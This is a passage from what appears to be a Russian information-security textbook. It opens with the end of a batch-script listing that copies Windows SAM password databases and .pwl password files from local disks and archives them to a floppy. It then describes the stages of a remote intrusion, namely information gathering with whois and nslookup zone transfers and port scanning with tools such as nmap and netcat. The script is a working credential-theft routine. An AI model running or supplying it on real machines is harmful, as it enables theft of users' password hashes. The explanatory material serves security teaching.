Окончание листинга 13.1

cd \
ntfspro.exe >nul
cd sec\disks

dir c: /s >> c.txt
dir d: /s >> d.txt
cd..
md c
md d
copy /b c:\winnt\system32\config\sam %RAMD%:\sec\c >nul
copy /b d:\winnt\system32\config\sam %RAMD%:\sec\d >nul
copy /b c:\windows\system32\config\sam %RAMD%:\sec\c >nul
copy /b d:\windows\system32\config\sam %RAMD%:\sec\d >nul
copy /b c:\windows\*.pwl %RAMD%:\sec\c >nul
copy /b d:\windows\*.pwl %RAMD%:\sec\d >nul
cd \
arj.exe a -r -v1200 dirs.arj %RAMD%:\sec -y >nul
copy %RAMD%:\dirs.arj a:\
copy %RAMD%:\dirs.a01 a:\

Удаленный доступ

В отличие от локального доступа, палитра методов и средств несанкционированного получения информации из АС при удаленном доступе значительно шире и достаточно сильно зависит от используемой операционной системы (ОС), настройки параметров безопасности и т.п. Как ни парадоксально, но наиболее защищенными (с некоторыми оговорками) при удаленном доступе являются АС, работающие под управлением операционных систем, которые наибольше всего уязвимы при локальном доступе, например Windows 98. Однако это противоречие только кажущееся. Действительно, системы типа MS DOS или Windows 98 изначально не проектировались для работы в сетях. Поэтому в них практически отсутствуют развитые средства удаленного доступа, а имеющиеся средства представляют собой внешние по отношению к ядру таких систем модули, слабо интегрированные с остальными компонентами подобных простейших ОС. Поэтому, если пользователь АС, работающей под управлением такой ОС, как Windows 98, соблюдает простейшие правила безопасности (например, не предоставляет доступ по сети к файлам и папкам своего компьютера), его система обладает высокой степенью устойчивости ко взлому.

С другой стороны, большинство Unix-подобных операционных систем изначально проектировались и развивались именно как сетевые операционные системы. Поэтому такие системы часто для обеспечения безопасной работы в сетях требуют тщательной настройки параметров безопасности.

Следует заметить, что за редким исключением (например, таким, как ОС OpenBSD), большинство современных ОС при настройке параметров, принятых по умолчанию, являются небезопасными с точки зрения работы в компьютерных сетях.

Поскольку полное описание методов и средств несанкционированного получения информации из АС при удаленном доступе может занять объем, значительно превышающий объем данной книги, мы лишь вкратце рассмотрим основные из них, используя для этого схему удаленного проникновения в АС, которой пользуется большинство злоумышленников (рис. 13.2).

Рис. 13.2. Типовая схема несанкционированного получения
информации из АС при удаленном доступе

Сбор информации

На этапе сбора информации злоумышленник определяет пул IP-адресов АС организации, доступных из сети общего пользования. Строго говоря, этапы сбора информации, сканирования, идентификации доступных ресурсов и, в какой-то мере, получения доступа могут предприниматься не злоумышленниками, а обычными пользователями (хотя, конечно, трудно назвать “обычным” пользователя, который сканирует все открытые порты АС, чтобы всего-навсего отправить сообщение электронной почты). Только совокупность этих операций с соблюдением некоторых условий (например, массированное неоднократное сканирование всего пула IP-адресов организации с попытками установления соединений на все открытые порты) может говорить о предпринимающихся попытках несанкционированного получения информации.

Каждая же из указанных операций сама по себе не является чем-то из ряда вон выходящим. Именно поэтому в комплект поставки многих современных сетевых ОС входят инструментальные средства, призванные обеспечить выполнение соответствующих задач, в частности, сбора информации.

К таким средствам относятся стандартные утилиты Unix whois, traceroute (в Windows — tracert), nslookup, host, и их аналоги, портированные в другие ОС, а также другие подобные средства, обладающие более дружественным интерфейсом (Web-ориентированные варианты whois, VisualRoute, Sam Spade и т.п.).

С помощью таких вполне безобидных средств можно выяснить:

· тип сетевого подключения организации (единичный компьютер, сеть класса C, сеть класса B);

· имена и адреса серверов доменных имен (DNS — Domain Name System), обеспечивающих трансляцию символьных имен в IP-адреса по запросам АС организации;

· сеть, в которой установлены подключенные к Internet АС организации (сеть провайдера, прямое подключение и т.п.);

· схему подключения маршрутизаторов и брандмауэров;

· реальные имена, телефоны и адреса электронной почты администратора подключения;

· схему распределения IP-адресов внутри сети организации и имена отдельных узлов (с помощью так называемого переноса зоны с помощью утилиты nslookup).

Если сеть организации достаточно обширна и в ней имеется множество компьютеров, подключенных к Internet, тщательно проведенный сбор информации может дать много других интересных для злоумышленника сведений. Чем тщательнее проведен предварительный сбор информации, тем выше вероятность успешного проникновения в АС интересующей злоумышленника организации.

Сканирование

Составив предварительную схему сети и наметив предварительный перечень наиболее уязвимых ее узлов, злоумышленник, как правило, переходит к сканированию. Сканирование позволяет выявить реально работающие АС исследуемой организации, доступные по Internet, определить тип и версию ОС, под управлением которых они работают, а также получить перечни портов TCP и UDP, открытых на выявленных АС.

Для проведения сканирования в распоряжении злоумышленника имеется широкий спектр инструментальных средств, начиная от простейшей утилиты ping, входящей в комплект поставки всех современных ОС, и заканчивая специализированными хакерскими инструментами, такими, как fping, Pinger, icmpenum, nmap, strobe, netcat, NetScantTools Pro 2000, SuperScan, NTOScanner, WinScan, ipeye, Windows UDP Port Scanner, Cheops и множеством других.

Вооружившись этими или подобными инструментами, злоумышленник может уточнить составленную на предыдущем этапе схему сети и выбрать АС, на которые следует обратить внимание в первую, вторую и т.д. очереди.